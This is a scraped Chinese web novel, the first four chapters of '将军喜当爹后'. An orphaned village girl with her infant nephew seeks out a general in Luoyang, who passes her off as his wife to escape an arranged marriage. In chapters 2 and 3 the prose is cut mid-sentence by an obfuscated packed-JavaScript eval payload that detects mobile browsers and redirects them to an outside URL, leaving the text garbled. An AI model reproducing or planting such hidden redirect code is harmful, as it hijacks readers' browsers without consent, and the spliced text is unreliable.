《将军喜当爹后》 1. 第 1 章 樱笋时节,已有了初夏的意味。 柳善因自泽州而来,背着堪堪六个月大的小侄子没日没夜走了三天,终是抵了宁远将军赵留行在信中曾跟自己提及过的——洛阳。 打北边进了城门,不知是饿得发昏,还是被都城的繁华看晕了眼。 柳善因迷迷糊糊靠上城门下的砖墙,恍惚回想起这一路的风尘碌碌,若不是好心人的帮助,她和侄子怕不是早就死在途中,亦或是遭了歹徒。 被迫离家的故事说来话长,好在最困难的时候已经过去,柳善因现下总算能好好缓口气了。 可谁料,半口气还没喘完,身边就有人嚷嚷起来。 “恁爹,大白日的,走路不长眼?” “恁个鳖孙,你说谁?谁走路不长眼?” 两个操着中原口音的大汉,因为一点小事起了摩擦,那阵势真叫初来乍到的柳善因害怕。她也顾不上头晕,赶忙缩着脖子跑出了那是非的城门底下。 随之去到人来人往的长街,柳善因举目四望都城楼宇高耸衔入云天,竟是惊诧地张不开嘴巴。 天了个地姥娘娘,洛阳城看起来真的好大,好像有十个兰花村那么大!可赵留行只说有困难就到洛阳来找他,却没细说他住哪。如此人生地不熟的,叫她该往哪去找啊? 思及此处,柳善因迷茫地挠了挠头。此刻背上的娃娃还稳稳睡着,她犯了难。 我的个赵赵将军, 你在哪啊—— 可惜,地姥娘娘这会子应是在忙,没能听见她的心里话。 她呢,还是靠自己吧。 但瞧怯懦的柳善因,站在街边物色了半晌,才在对面瞧见了个身穿粗布衣裳,长相和蔼的大娘。她过去问大娘,“麻烦请问您知不知道……” 大娘却急着摆起手来。 柳善因不明所以,攥着手心一脸疑惑也没敢追问。 直到大娘冲自己的耳朵比划了两下,她这才明了,大娘原是个聋者。柳善因尴尬万分赶忙给大娘鞠了个躬,抛下一声打扰转头就跑。 如此可好,把她那本就不多的勇气,击了个粉碎。 柳善因便开始漫无目的地顺着人潮行去。 只是这么下去总归不是办法,她需得找人问问,就是有个大概方向也好啊。也不至于同现在这样窘迫。 于是乎,当路过某间热闹的客栈前时,柳善因预备着跟见多识广的店小二请教。 “那个,那个请问——” 进出的住客遮挡住了她娇小的身影。 柳善因抬头跟迎来送往的店小二招呼了半天,才终于被其发现。 只是等这人热情迎来之后,柳善因竟半句话也没插上,“啊哟哟,娘子听着口音不像本地人,看来是要住店——今儿人太多,小二我有照顾不周的地方,还请您见谅。” “娘子这是一大……一小是吗?您快里面请!” 店小二话密得紧。 柳善因本就有些不好意思,见她这般热情接待,便忙道:“你误会了,我不不不,我不是……我单是想问问!” 柳善因在店小二面前一通摇头,让店小二误以为她是想讨价还价,便趁机拉着她想先到店里去,活脱怕她跑了似,“娘子您先进来,有什么事咱们进店里再说,价格好商量!” “啊?”柳善因懵着脑袋被人拽着向前两步,“不去不去。” 店小二却坚持不懈道是:“来吧来吧。” 柳善因哪里比得过他的牛劲,她见自己解释不清,情急之下伸手抱住了门口的马桩大声呼喊:“我不住店!我不住店!我没说我要住店!我只是想请问,你可知宁远将军府在哪——” 别瞧柳善因个头小,发起急来的嗓门却震天,吓得周遭过客纷纷愣在原地。 店小二闻声更是松手,转头速速离去。 怎么这就走了? 是自己适才太大声吓着他了? 柳善因抱着马桩懊恼不已,她望去那人离开的身影可怜巴巴地追问:“小二,对不起,我不是有意叨扰的。你还没告诉我,你知不知道宁远将军住在哪……呢。” 柳善因的气势随着周遭人的注视越来越弱。 看来她又失败了,手里的马桩俨然成了遮掩她的地缝,她就这么将脸埋在马桩后头,期望着大家能不再将她注视。她也能趁机偷偷溜走。 但事情似乎并未像她想得这般简单,只听她身后忽而传来两声强有力地问话。 “你在找我们将军?” “你找我们将军做什么!” 柳善因扭过头,左右两堵宛若砖墙一般的健硕胸膛,遮蔽住了她的目光。她抬起头,着实被他们凶神恶煞的表情盯得发毛,原店小二是被他们吓走的啊。 柳善因不敢细看,只能偷瞄。 等她瞧清二人身上穿的战袍,这才明晓二人身份为何。可忽然被人这么问,柳善因一时间也不知该如何解释自己此次进京寻人的目的,“我找他…我找他……” 柳善因支支吾吾。 两人之中那个瞧上去潇洒风流的儿郎,见状不由得猜疑。他侧过身,“吾雷,你说一个妙龄娘子带着个这么小的娃娃,满大街地找头儿?该不会……是咱们头儿在哪欠的风流债吧?” 吾雷听同伴如此说,不敢置信地回首望去,“风听,莫胡说。” 前人暗自揣度。 柳善因见势不对,鼓起勇气出言打断:“我找将军有事,二位军爷知道宁远将军在哪里吗?” 有事? 风听和吾雷面面相觑。 他们即刻打量起眼前人,却并未在柳善因单纯的小脸上察觉到任何危险,吾雷便如实道:“我们正要去同将军议事,娘子既然也要寻将军,就与我们一道吧。不远。” “真的吗?多谢军爷,多谢军爷。” 柳善因连连道谢,可面对着两个身材魁梧的男子,她还是多多少少有几分戒备在心,毕竟连自家人都能坑害自己,更莫要说这不熟悉的外人了。 吾雷邀她行路,柳善因松开抱住马桩的手臂低声语:“军爷们先行,我在后面跟着就好。” “行,那娘子跟好,莫要跟丢。”风听心细,他知晓眼前人是害怕他们,随手扯着憨头憨脑的吾雷就离开了柳善因面前。 柳善因看着两人动身离去,心中总算是有了着落。 她不敢懈怠,小心跟去。 - 长街之上,路人形形色色。 柳善因跑跑行行,小碎步一路上就没怎么停。反倒是前边两个人高马大的儿郎,悠闲自在。 风听用余光瞥罢柳善因,确定她有跟上后,转头环臂与吾雷嘀咕道:“诶,真没想到头儿那么桀骜无情的一个人,竟然能做出这种事……藏的可真深呐。” “我说头儿这回被逼着回京娶亲,是死活不依呢?搞了半天,原是有情况!” “不过滏阳郡主是赵家给头儿定的亲,郡主又是头儿继母临芳长公主的亲侄女,头儿这回要真是另娶。那赵家那边岂不是要翻天——” “头儿跟家里的关系本来就不好,这下不是彻底完了?!那咱们还能回北庭吗?” 风听不愧名唤风听,话越说越离谱。 听得吾雷直头大,他转过头故意跟其划清界限,“去去,我可警告你,少在这儿捕风捉影的说别人闲话。小心这些话传到将军那,到时候拔你的舌头,我必是帮着递刀。” 听风闻之反驳,“混球,你不乱传,将军必是不能拔我的舌头。” 两人聊得忘乎所以,柳善因跟在后头听得断断续续。 拔舌头!好可怕——为什么要拔舌头?拔谁的?该不是拔她的吧! 柳善因胡乱猜想,不觉打了个颤。 她趁二人转弯前停下脚步,不愿再向前跟去,是生怕遭遇什么不测。可她又实在想快些寻得赵留行,便忍不住地抬眼观望,眼中满是为难。 “娘子怎的不走了?”风听和吾雷察觉不对,转头回看。 柳善因吓得脱口而出一句:“我不去了,不去了。” 风听和吾雷不解其意。都到这儿了,说不去就不去,岂不可疑? 二人见状相视一眼,上前左右挡住想要开溜的柳善因,“娘子不是急着见我们将军——走了走了,这就到了 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如今碰上利益牵扯,竟又想起他来。 赵留行不是逆来顺受的怂包,他不会妥协,更不可能娶那骄纵的滏阳郡主为妻。他偏要跟他们耗。事缓则圆,赵留行想自己定能寻到个破局的机会和办法。 他一定得回到北庭去, 因为只有离开这里,他才是自由的。 “头儿正巧你在,你瞧我们把谁给你带来了——” 风听的声音落进耳畔,赵留行拉回思绪,将目光定在缩于两人中间那个布衣荆钗娇小玲珑,面上带着几分憨态可掬的女郎身上。 待到眯眼观望半晌,赵留行依旧无解。 谁? 柳善因怯生生抬起头,心中的惴惴不安,竟在望见赵留行的那刻全然消散。 她瞪大双眸,圆溜溜的杏眸里满是他。 柳善因在兰花村的山坡上见过他,那时西行的大军头一遭路过家门。她偷跑出来给阿兄送行,浩浩汤汤的队伍里,她没找到阿兄,却一眼就看见了那个高大威猛的少年将军。 她不会认错,他就是把阿兄送回家乡的赵赵将军。 她总算找到了他! 地姥娘娘保佑,这两个人不是要拔了她的舌头,更没有骗她——此时此刻,在经历了一路提心吊胆的奔波后,柳善因面对着眼前人心情五味杂陈,红润的眼眶就差落下几滴应景的泪珠。 风听见这势头,一脸看戏地眼神望向吾雷。 吾雷没接茬。 门前素味平生的女郎,第一次见面就这样楚楚可怜地望着他,叫赵留行感到莫名其妙。 他不知这是赵家的阴谋,还是手下开得玩笑。 总之他一脸威严看向柳善因,刚想吐出一个你字,就被突然递来眼前的信纸给噎了去。 柳善因知道自己嘴笨,她怕解释不清自己是谁,又从何而来,便从怀里掏出了那封她从家里唯一带走的东西——赵留行在阿兄战死后,亲手寄给自己的书信。以表来意。 柳善因将手臂伸地笔直,两只紧握信纸的手,也随着心下的紧张抖啊抖。 “给我的?” “嗯。” 胆怯的应答落去,赵留行将信将疑接过信纸展开一瞧,便知晓了来者何人。 原是柳徽的小妹。 与赵家和手下皆无甚联系。 赵留行松了口气,没有适才那般防备。 他折起信纸,又冲柳善因看了一眼,见眼前人那仆仆的发髻上零落着她的疲惫。赵留行猜想她不惜离家二百里,亲自到洛阳寻自己必是遇见了难处,便问:“柳家妹妹,你来寻我是……” 谁料,他这话刚说出口,就被一阵张狂的马蹄声掩盖。 门前几人,包括柳善因在内皆循声侧目。 下一刻,当一驾金贵的马车赫然停在将军府门前,众人未见其人,便闻车内年轻女郎愤怒的一句:“赵留行在哪——本郡主现在就要见到他。” 2. 第 2 章 贺松月张扬的嗓音里,尽是呈王府予她的威风。 赵留行趁势将柳善因递来的书信背去身后,傲然望向眼前停住的车架,不禁嗤然。他厉声说:“本将在这。” 贺松月坐在车上未动。 直到追赶不及马车的家奴们纷至沓来,挤满了将军府的门前。她才在女使的接引下,掀了竹帘。 彼时,柳善因这先来的人一句话没跟赵留行搭上,便被后来的王府家奴无情淹没在了马车边。若不是吾雷好心相扶,她怕不是就当着众人的面和小侄子一块飞了出去。 柳善因护着娃娃谢过吾雷,转头发现来人像是个自己招惹不起的显贵,为了不给赵留行添麻烦,她便只得乖乖等他们交流过后,再与之攀谈。 “郡主找我?”赵留行漠然。 他一直不明白,为何贺松月这般执着这门亲事?按理说,他们就是两个毫无交集的陌生人。 贺松月顿在帘下,一双细长的凤眼将赵留行盯得死死。 她还未下车,就已察觉出赵留行并不欢迎自己。 若搁旁人,她必是不会多留一刻,甚至还要给他些颜色瞧瞧。 只是这对于赵留行的例外,并非是她有多心悦他。 只因赵留行,是最合适她的人。 呈王府三娘金枝玉叶,自不愁嫁。但放眼洛阳城与之同龄的世家公子,能做到像赵留行这般长相与仕途皆无可挑剔的郎君,可谓是寥寥无几。 加之她与临芳长公主的关系,若来日嫁进赵家,不受婆母刁难不说,日子必定如鱼得水。 夫君有为,夫家顺意。 这,便是贺松月的私心,也是她执着的理由。 两情相悦纵然可贵,但相较于感情上的虚无缥缈,她还是更看重能够掌控在手的东西。 可想象总归美好,奈何赵留行就像块粪坑里的石头,又臭又硬。屡屡拒婚惹得她心烦意乱,偏父王和姑母在圣上那又迟迟求不下一道赐婚的旨意。 左右无计可施,最终把贺松月逼急了眼,才不得不上门逼婚,要赵留行一个交代。 她倒要看看自己抛开面子亲自登门,他还能有什么推脱的理由。 洛阳风光十七载, 贺松月觉得这世间就没有她得不到的东西。 轻盈的裙纱落了地,贺松月昂首站在赵留行面前,头顶的金钗甚是耀眼。她张了口,今日唇上涂得是她最爱的海棠红,她骂:“赵留行,你少给我揣着明白装糊涂。” 贺松月一样没给赵留行好脸子。 她甩了使人的手臂,两步登阶就到了赵留行跟前。与柳善因的小心翼翼不同,她的肆意张狂直冲赵留行眼眶,“本郡主到底为着什么屈尊来寻,你心知肚明。” 风听站在事外抬眼看看阶上气势逼人的贺松月,又转头瞅瞅蔫头耷脑的柳善因,浮想联翩。 难料难料,这场面何等刺激? 一边是约定好的父母命,一边是找上门的风流债。混乱之中的剑拔弩张,叫风听不禁为自家将军捏了把冷汗。 赵留行却若有所思望向低处的柳善因,毫无波澜地同贺松月开口:“滏阳郡主,有些话,本将早就在赵家当着长公主的面说得清清楚楚,你若有什么不明白的,大可去问长公主。我没有必要和郡主再多重复,否则你我脸上都挂不住。郡主今日若还是为了那事而来,就请回吧。本将还有事做。” “赵留行,你什么意思?你是想赶本郡主?” “是。” 赵留行无情回应,默将背后书信塞藏进手腕。贺松月压根没料到他今日能硬气到这个地步。然她并非高估了赵留行,而是高估了自己。 她不敢置信,竟真的会有人不贪权势,不恋美色,寻不到丝毫破绽。 贺松月忍无可忍,“不识好歹。赵留行,本郡主告诉你,赵家与呈王府的联姻,不是你我之间的私事,亦不是你我能左右和改变的。你没得选,你的选择只能是——乖乖娶我。” 原来,他们说的是这件事啊。 柳善因在人群里低头,耳朵却早已伸向了门前。 往前村舍邻里的鸡零狗碎她没少听,可豪门贵胄的爱恨纠葛她还是头一遭闻。作为兰花村口常驻的看客,这等送到耳边的热闹,她岂会不感兴趣? 柳善因立在原地听得起劲。 赵留行在阶上怒目看向贺松月,他本不想把话说到这般田地,奈何眼前人步步紧逼,“君主霸道,就是今日圣上的旨意下到头顶,我亦不会应了这门亲。” “赵留行,你——” 贺松月举目冷笑,“为什么?你就这么不愿娶我?你难道不知洛阳城多少世家公子一心求娶于我?本郡主难道配不上你个羽林郎将?” 听闻此处,不明所以的柳善因,被赵留行的强硬态度吓得缩了缩脑袋。 她开始担忧,担忧眼前人不会像信中那样信守承诺。可文字表达里的赵留行,全然是个忠肝义胆的赤诚少年。她想不明白到底发生了什么,便只剩下了惶惶不安。 毕竟,这是他们的第一次见面,她一点也不了解他。 可柳善因越想躲,就越走背字。 忽然,娃娃的哭声不知为何从背后响起,打破了眼前的僵局,吸引了众人的注意,就连高傲的贺松月也跟着瞥向她。 完了完了,这可如何是好?! 柳善因在众人的注视下手忙脚乱。她先是颠了颠背上的小侄,见成效不佳,又赶忙解下背带将娃娃抱在怀里尴尬哄道:“哦哦,我的小宝呀,一路上都不哭不闹的…怎么现在醒了……” 吾雷和风听在旁想要帮忙,又不知从何下手。 场面顿时乱成一团,可正当众人在这一声声娃娃的啼哭里迷茫,赵留行的声音忽而从阶上传来。 “是本将配不上郡主。” 贺松月回头眯眼望向赵留行,她不明白他此话何意。 赵留行却指着不远处素未谋面的柳善因急中生智道:“如郡主所见,本将已有妻儿,并早已对她许下此生不渝的誓言。断不能再娶郡主为妻。” 已有妻儿?谁—— 我吗?! 赵留行一句话惊诧众人。吃瓜吃到自己头上的柳善因,被吓得抱着小侄子当场石化。风听却同吾雷低声说:“瞧瞧,我就说是那么回事,你还不信……” 吾雷瞥了他一眼,警告其别胡言乱语。 “什么?”贺松月那双狠厉的眸子,盯上柳善因。看得人心里发毛。 事情到了这儿该如何收场呢…… 家中生变,她此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105980|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行逃离故乡,就是为了能在洛阳生存下去,填饱自己和小侄子的肚子。 柳善因脑子转得飞快,这一顿饱和顿顿饱,她分得很清。 她索性把心一横,顺坡下驴配合赵留行,扑到他身边哭喊起来:“孩他爹啊,我可找到你了。孩子这么小,你怎能做那负心之人呐——” 柳善因的嗓门一如既往地震天。 这阵势莫说赵留行,就是一旁的贺松月也被吓得向后撤了两步。 小侄子似乎察觉到小姑在哭,居然渐渐地安静下来。 门前鸦雀无声,柳善因在赵留行身旁装模作样,抽抽搭搭。她用小侄子毛茸茸的脑袋接下两滴泪花,又悄悄抬眸看了贺松月一眼,却被其吓得往赵留行身后窜了窜。 “赵留行,你,你欺人太甚。” 贺松月咬牙切齿,她恨不得将眼前这毁她面子的人,撕个粉碎。 她在离开前压着心中的怒意,警告起赵留行,“你别以为本郡主会放过你,呈王府不是好欺负的,赵家也不是你说了算的。咱们走着瞧。” 事已至此,贺松月还留着作甚? 她走了,就跟她来时一样招摇。奔腾的马蹄和追随而去的家奴,把平静归还。 赵留行丝毫没有被贺松月的话吓着,他淡定地看向远方。 直到街角不再扬起尘烟,他才若无其事同风听与吾雷说:“你们找我有事禀告?” 吾雷拱手刚想说话,就被风听果断拦下,“没,没有,不是什么大事。您先忙您的,我俩等头儿空闲了再来不迟。既然嫂子给您送到了,我俩这就告辞了。” “头儿莫送——”风听拉着吾雷一溜烟跑了。 嫂子? 赵留行这才缓神看向身后猫着的柳家小妹,忽而生出几分尴尬。 他垂了眸,这才同柳善因开口,“今日的事,多谢。其余的你别挂心,我会自己处理。” 柳善因摇摇脑袋,忙说:“没事没事,能帮到赵赵将军就好。” 话音落去,适才敛去的疲惫又重新出现在脸上,赵留行闻言转身,“进去坐吧。”可等他抬了抬腿,忽而想起什么,便转头跟柳善因客气了句,“那个……” “用我帮你抱会儿孩子吗?” “哦好,谢谢赵赵将军!”柳善因心思单纯,她一时没琢磨过来眼前人是在跟自己客气,便顺势将孩子塞进赵留行怀里。 别瞧小侄子年岁不大,却是实心地沉。 柳善因本就瘦弱,加之一路奔波不歇的赶路,早就精疲力竭。 只抱了小侄子那么一会儿,就已经吃不消了。 这好不容易卸下“担子”,柳善因赶忙抬手敲了敲自己酸痛的肩膀,丝毫没发现一旁人的窘迫。 可骁勇善战,提刀能杀四方的宁远将军,哪里接触过这么小的孩子……就是小狗他也未曾伸手抱过。被柳善因这么唐突地一弄,赵留行就好似被封印了般,动也不动地端着孩子愣在原地。 他将脊背挺得笔直,生怕摔了怀里的小娃娃。 跟着直勾勾盯上柳善因,赵留行希望对方能够有所察觉,不成想柳善因竟也眼巴巴望向他。 赵留行无奈刚想开口,却听眼前人一脸无辜冲他问道:“赵赵将军,咱们不是要进去吗?” 3. 第 3 章 进门之前,赵留行余光瞥见东边廊前有双窥伺的眼。 他领着姑侄二人大方而入,直到和那虎视眈眈的女使对上,也不曾有半分退让。死人堆里爬出来的恶鬼,岂会被一个父亲派来监视他的内院女使恫吓? 此刻,就算他什么话也不说,也能叫眼前人胆寒。 赵留行本没想理会。可他行出三步,就听女使在身后厉声说:“三郎君这回做得太出格,阿郎那边是断不会饶恕三郎君的。” “饶不是饶恕是他的事,与我无关。更轮不到你置喙。”赵留行言语冷淡。 他的声音沉沉,连个多余的眼神也没留给那人。 十几年了,他除了姓赵,早就与赵家再无关联了。 话落垂眸,他看柳善因唯唯诺诺跟在身旁,若有所思地道了句:“夫人饿了,你去吩咐厨房给夫人弄些热乎的。” 不料,女使却违背了他,“她不能留在这里——此关乎赵家与呈王府的声誉。” 赵留行转过头,狠狠盯着那边廊下的女使,“她不能留在这里?” 很显然她适才的话激怒了他,“那你便能留下?秦氏,你别以为你是护军府的老人,就能这般肆意妄为。这儿是大都护在洛阳的私宅,不是你们护军府——做好你分内的事,别忘了自己的身份。你若想端以前的架子,嚼本将的舌根子,就给我拔了舌头滚回护军府去。” 主人震怒,一个女使纵使有再大的靠山,也得忌惮。 更何况留在这里才是她的职责,若被赶回护军府,她必是会遭那位更重的责罚。几番权衡,女使收敛脾性,识相躬身离去,“三郎君息怒,我去厨房备饭就是。” 赵留行闻言不想与之再费口舌,沉默着将视线回收。 堂前夕照,他恍惚想起刚回京那会儿,护军府那边要求他归家起居,他却执意住进二姑姑的私宅,就是为了反抗和表明自己的态度。 况且自打父母和离,又各自婚嫁后,那边就再没有他的容身之处。 他也不愿归到那个无情也无义的“家”去…… 赵爹见赵留行态度坚决,也碍于二妹和儿子如今在朝中的地位,便没再强求其归家,只是借着院中无人侍奉为由,假意派了些女使婆子来看着三郎君,以掌握他的一举一动。 彼时残阳入眼,也暖不热儿郎冰冷的眼眶,他们的恩怨由来已久,并非一夕能够说透。 赵留行轻叹息,却不经意发现身边的女郎正惊惧地将他相望。 赵留行一惊,忙说:“你别害怕,我不是对你!” 可柳善因此刻满脑子都是他发怒的样子,哪里还能听得进去?她吓得眼珠子将要落了地。 好可怕,他!他会拔人舌根子!! 赵留行看着眼前人呆愣的模样,不知该如何是好,只得转移话题道:“你远道而来一定辛苦,先进去歇息吧。晚饭很快就好。” 咦?有饭吃了? 那能给自己饭吃的人,应该也不会太坏~ 柳善因情绪来得快,去得也快。 饥肠辘辘了这么多天,她已是很久没有吃过饱饭了。无人能懂眼下吃饭这个词,对她的诱惑力有多大。瞧她转瞬望向赵留行好奇道:“赵赵将军怎么知道我饿了?” 赵留行闻言愣了一下。 他实是有些看不懂眼前这个烂漫的女郎。 但至于自己为什么知晓她饿了……他想大概是因为她的肚子早就在门外时,就遮掩不住地叫,让他不想知晓都难。他便应声说:“我猜的。” 赵留行一本正经端着娃娃,没说实话。 柳善因却信以为真,“赵赵将军猜的真准!”可当她想起适才那人言语中的针锋相对,又担忧地问,“只是赵赵将军,我们在这里是不是给你添麻烦了…不若我还是……” 赵留行抬起的步子,因她而停下。 他转过头刚刚好立在下一道院门中,忽而转变了摸样,他就这么看着柳善因说:“你们安心呆着,添麻烦的是我才对。” - 内庭的桃花开得正好,是娇嫩的粉红色。 柳善因哄睡小侄子立在花雨纷飞的廊前,耐心等待赵留行更衣归来。 她定睛望向来时的远方,总算能够平静下来。 冥冥想起柳徽,柳善因不由暗道:“阿兄保佑,我们终于平安逃到洛阳了。” 赵留行在京的住处不大,里外里三间房。小庭幽院,柳暖花春,倒是别有一番风情。柳善因好奇张望,要知道往前住在兰花村,家家户户尽是茅屋草舍,她从也没见过这样好的宅院。 一双圆溜溜的大眼望啊望。 直到望见一身官绿圆领袍的儿郎,似劲竹般挺立身旁,反应总是慢半拍的柳善因才赶忙敛容,垂下了眸。可没等她问候,赵留行就先开了口:“还不知道你叫什么?” 柳善因眨眨眼,小声答曰:“柳善因。” 善因善果,善始善终。赵留行点点头觉得这是个好名字。 柳善因瞧他没反应,紧接着补充:“赵赵将军就叫我小柳吧,乡亲们都这么叫我。” “小柳。”赵留行下意识地重复。 柳善因赶忙应声,“诶!” 两人对上眼神时多少有些陌生,适才的闹剧似乎被人抛在脑后,柳善因躲闪开赵留行冷峻的目光,却看他唇峰欲动,张口无声。 柳善因抬起头,琢磨眼前人想说什么。 谁料,端着茶饭的女使忽而闯进二人的视线,赵留行见时机不对,默然回身推门。 柳善因就没去追问。 - 后时,相对而坐一张饭桌,小侄子被柳善因放在一旁的坐榻上再次进入梦乡。 赵留行盯着退出门外的身影渐行渐远,这才回眸望向对面。 他说:“府中吃食简单,柳家……小柳别嫌。” 柳善因摇摇头,张口的时候眼神一刻也没从饭菜上离开过。她道:“赵赵将军哪里的话,小柳怎么会嫌弃呢!我感激还来不及——” 赵留行正身坐着,他不理解眼前的女郎为何一直称呼他为“赵赵将军”。 可这头一遭见面, 因为与之不熟,他也就没多追究。 赵留行察觉出柳善因的饥肠辘辘,张口客气:“吃饭吧。” 柳善因闻言慢吞吞拿起木箸。 此刻哪怕是腹中空荡,不见主家动筷,她愣是不敢下手去夹。 赵留行见状接茬说:“别拘谨,就当自家一样。我下值前在宫中用过了,你只管自己吃。” 眼前人的话,就像是声令下。柳善因再顾不上那么多,夹起与新鲜荠菜一同烹炒的鸡蛋搁在碗中,配着就是一大口香甜的黍米咽下。 柳善因吃饭如打仗,赵留行着实被她狼吞虎咽的样子吓到。 可他没说话,只是默默倒了杯热茶推向了她。之后转眸望向那端的娃娃,赵留行随口问了句:“这孩子是……你的?” 同是一句话,却有两重意。 柳善因答曰:“侄子。” 她一边扒拉着碗中饭,一边嘟嘟囔囔地回着赵留行的话,生怕错过他的每一次问答。 柳善因解释说:“这是我阿兄的遗腹子。” 赵留行愣了下,自己该想到的,柳徽临死前曾说过要他照拂家中的孕妻和胞妹。 此刻,屋内在柳善因语毕后陷入沉默。 赵留行忆起那场惨痛,不觉握紧了拳头。那时若非在西行的路上遭了敌军埋伏,柳徽便不会因为护他突围而死在异乡。所以,他断不能按照赵家的意思在洛阳虚度光阴。 他定要杀回北庭,报了这不共戴天的仇去。 赵留行忽而抬起头,诚恳道了句早该说的,“抱歉。” 这突如其来的致歉,惹得柳善因悲从中来。 瞧她眼中霎时泪意涟涟,跟着阵阵酸楚涌上心头,口中的黍米便再难下咽。她就这么噙着半口饭,呆在了饭桌前。 父母早亡,相依为命的阿兄又年轻命丧,叫她如何不悲伤… 可是…… “赵赵将军,这怎么能怪你呢?” 柳善 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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可幸好柳善因逃出来了,她没有被命运折服,“我知道,我不能就这么任由他们安排,更不能把阿兄唯一的孩子交给他们抚养。所以我便瞅准时机趁他们吃酒醉下,偷了小宝一路往南跑。” “我没有办法回头,我怕被他们抓回去,就只能到洛阳来寻您。” 话音落了,柳善因平静下来。 赵留行却愤然拍案,“岂有此理——他们竟做这般非人之事!” 这事莫说落在柳徽妹妹的身上,就是落在无关之人的身上,也会叫赵留行义愤填膺。他此刻眼中杀气腾腾,恨不能现在就杀到兰花村去。只是…… 这毕竟是人家的家事,他还是得听听眼前人自己的意见。 他问柳善因:“小柳想我怎么做?” 柳善因却眨眨眼,没能明白赵留行话中深意。 她当下满心想的都是如何带着小宝活下去,从没想过要去报复大伯一家。而且她也不想给眼前人添麻烦。毕竟人家是个高高在上的将军,与她这种粗俗的乡野丫头,是不一样的人。 她又能要求他什么呢? 或许是因为自小没有父母的庇护,叫柳善因早就忘记反抗的本能,更不知道什么是争取。 那天能够冒险逃离兰花村,已是她这辈子做过最勇敢的事。 柳善因望着赵留行凝重的眼眸,猛地起身道出个请求,“请赵赵将军帮帮我,收留我在府中做工——”话说出口的一瞬,她给赵留行鞠了一躬,“脏活累活,我都能做。只要您能叫我们留下,您让我做什么都可以!” 赵留行听着柳善因的应答,不敢置信。 他问:“仅此而已?” 只因在他的观念里,以牙还牙,以眼还眼。才能不做任人宰割的羊,他从来把命握在自己手里。 可柳善因却弱弱地嗯了一声,“仅此而已,小柳别无他求。” 眼前人话说得这般明白,赵留行还能再去多说什么。他便止语收敛起难以捉摸的目光,沉声说了句:“我答应过你阿兄,你自是可以留下,亦不必在府中做工。” “不做工?那赵赵将军需要我做什么?”柳善因歪了头,听候吩咐。 怎料,赵留行心中藏事口未随心,脱口就是一句:“做我的媳妇。” 4. 第 4 章 话刚说一半,赵留行就已经后了悔。 他是眼睁睁看着眼前人被自己吓得一屁股坐回了板凳上。 柳善因怔怔望向他,确信自己没有听错。 她实在不明白哪有人刚见面,上来就要别人做媳妇的?再说适才在门外,难道不只是俩人配合着逢场作的戏吗?这人总不能当真吧! 想到此处,柳善因的眼睛随着心下的诧异越瞪越大,瞪得眼角一阵发酸。 赵留行脸上也跟着多出几分慌乱。 他连忙解释,生怕被眼前人误会自己是什么轻浮之人,“不是的,柳家妹妹你别误会,你千万别误会。我不是那个意思,我也没有那个意思——” 柳善因这会子哪里敢去接茬,她只怕眼前人再提出些更加无礼的要求来。 赵留行说罢打算起身致歉,把事情说个明白。 没成想竟把柳善因惊得往后一仰,眼看着就要从板凳上跌落下去。 可赵留行到底是久经沙场的好身手,瞧他眼疾手快,一把便揪住柳善因的领子,硬生生单手将人拉了回来。 如此,他揪着柳善因的手没顾得上松,就急着开口继续道是:“一切说来话长。但今日在府外的那些事,你应也知晓个大概。我是想……既然事已至此,你不若就暂且与我扮做夫妻。待到有朝一日我摆脱洛阳的这档子事,重返北庭去。我便帮你和孩子,安排个最稳妥的去处。你看如何?” “我看…我看……” 柳善因缩着脖子,不好意思去看眼前人。 她现在就好似赵留行手里拎着的小王八,坐又坐不直,脑袋伸又伸不出来。她只得将眼神盯去眼前人宽厚的胸膛,怯懦懦回复说:“我都听将军的。” 赵留行见柳善因应了声,不知为何跟着松了口气,全然忘记手中还揪着眼前人的衣领。 柳善因试图悄悄脱离,却又害怕自己唯一一身衣裳被扯坏。 她进退两难,忍不住尴尬地小声嘀咕:“能不能先把人放开啊…不是说扮做夫妻来着……” “柳家妹妹说什么?”赵留行垂了眸,没听清眼前人说的话。 “啊?没什么!没什么!”柳善因下意识地抬头看他,就是这么两相对望,叫赵留行总算缓过神来。那府门前的威严与从容全部消散,他这才松了手,于柳善因面前剩下的只有慌乱。 赵留行退后几步,一句话不说就打算转头往外走。 柳善因起身追问:“赵赵将军要去哪?” 赵留行闻之停下脚步心事重重地回头,“我想起还有些事要办。柳……小柳,你累了就休息,桌子上的碗筷待会儿会有女使来收,你不必管。我去去就回,你且带着孩子安心呆着。” “那好,赵赵将军路上慢些。” 柳善因猜不透赵留行此刻在想什么,他不多言,她便只能乖乖点头目送着他跨了门。 - 院外,撞上秦氏对面行来,赵留行如一阵风般路过她的身边,面上写满不悦。这阵势吓得之前还耀武扬威的秦氏,低着头一阵哆嗦,心里更是直呼:看不见我,看不见我。 谁成想赵留行走出四五步,眼瞧着就要跨过院门竟转头调了回来。 赵留行叫了声:“秦氏。” 秦氏脖子一僵,硬着头皮回了句:“三郎君。” 彼之残阳照上东墙,赵留行坚实的背影落在门口的桃树下,秦氏却不敢抬眼看,她听眼前人吩咐道:“夫人一路辛苦。你先去把里屋的碗筷收了,再差人烧些热水伺候夫人更衣。” 秦氏这婆子再揣奸把猾,管家做事上倒是一把好手。这点事难不倒她。 她点头说:“是,三郎君放心,我这就去办。” 可赵留行还是不太放心,便故意补充了句警告的话,“记住,不可苛待。夫人说的话就是本将说的话,若是本将回来听见夫人告状,你也知道会是什么下场——” “老奴明白。”秦氏举目瞧见赵留行蹙眉,赶忙赔笑。 怎料,她在赵留行转身离去前,居然还不忘自己的使命追问道:“天要黑了,三郎君这是打算往哪去?” 赵留行哪里会理会她的问话。 他只警惕地瞥了眼秦氏,就转身从纷纷的飞花中远走。 